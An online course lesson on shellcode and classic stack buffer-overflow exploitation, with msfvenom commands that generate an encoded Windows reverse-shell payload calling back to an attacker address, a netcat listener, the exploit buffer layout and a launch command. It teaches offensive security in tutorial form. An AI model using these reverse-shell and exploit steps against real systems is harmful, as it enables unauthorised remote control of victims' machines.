Shellcode and Exploitation
Get a shell.
Shellcode and Exploitation is a free Ethical Hacking Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What Is Shellcode?
Shellcode is a small piece of machine code that performs an action when executed, classically spawning a shell. It is the payload you redirect execution to after controlling EIP.
It is written in raw bytes (opcodes) so it can be injected directly into memory.
Types of Payloads
Common payload goals include:
- Bind shell: opens a listening port on the victim.
- Reverse shell: connects back to the attacker (better through firewalls/NAT).
- Execute command: runs a single command like adding a user.
Reverse shells are most common in real engagements.
Generating with msfvenom
msfvenom generates payloads. You specify the payload type, the listener address and port, the output format, and any bad characters to avoid.
The -b flag excludes bad chars; -f sets the output format.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cWhy Encoding Is Needed
Raw shellcode often contains bad characters (like null bytes). An encoder transforms the payload to avoid those bytes, then prepends a decoder stub that restores the original code at runtime.
The classic encoder is x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"The Decoder and Self-Modification
Encoded shellcode decodes itself in memory before running. This self-modification needs a little headroom on the stack, which is one reason a NOP sled and adequate buffer space help.
Sometimes you must adjust ESP first so the decoder does not corrupt its own code.
Assembling the Final Exploit
The complete exploit buffer is:
- Padding to the offset.
- The JMP ESP return address.
- A NOP sled.
- The encoded shellcode.
Send this to the vulnerable input and execution flows into your payload.
buf = "A"*offset + ret + "\x90"*16 + shellcodeSetting Up the Listener
For a reverse shell you must listen on your machine before triggering the exploit. A simple Netcat listener catches the incoming connection.
For staged payloads use Metasploit's multi/handler instead.
nc -lvnp 4444Firing the Exploit
With the listener ready, send the crafted buffer to the target. If everything aligns, the shellcode runs and your listener receives a shell on the victim.
You now have command execution with the privileges of the vulnerable process.
python exploit.py 10.0.0.20 9999Troubleshooting
If it fails, check common culprits:
- A bad character slipped into the shellcode or return address.
- The NOP sled is too short.
- The decoder lacked stack room (adjust ESP).
- Wrong offset or endianness.
Methodical debugging in the debugger isolates the issue.
Beyond the Classic Overflow
With DEP and ASLR enabled, plain shellcode on the stack will not execute. Modern exploitation uses Return-Oriented Programming (ROP) to chain existing code gadgets, and info leaks to defeat ASLR.
This course taught the foundation those advanced techniques build on.
Staged vs Stageless
Payloads come in two flavors. A stageless payload contains the full shellcode in one blob. A staged payload sends a tiny stub that downloads the rest from your handler.
Staged payloads fit in smaller buffers but need a matching handler like Metasploit's multi/handler to deliver the second stage.
Quick Check
Recall why shellcode is often encoded.
Recap
You completed the exploitation chain:
- Shellcode is the payload; reverse shells are most practical.
- Generate and encode it with msfvenom to dodge bad characters.
- Assemble padding + JMP ESP + NOP sled + shellcode, start a listener, and fire.
- Modern targets need ROP and info leaks to beat DEP/ASLR.
You have completed the Buffer Overflow Exploitation course.
Frequently asked questions
Is the “Shellcode and Exploitation” lesson free?
Yes — the full text of “Shellcode and Exploitation” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.
What will I learn in “Shellcode and Exploitation”?
Get a shell. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Ethical Hacking Academy?
No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Shellcode and Exploitation” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Ethical Hacking Academy lesson?
Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Memory and the Stack
- Fuzzing for Crashes
- Controlling EIP
- Shellcode and Exploitation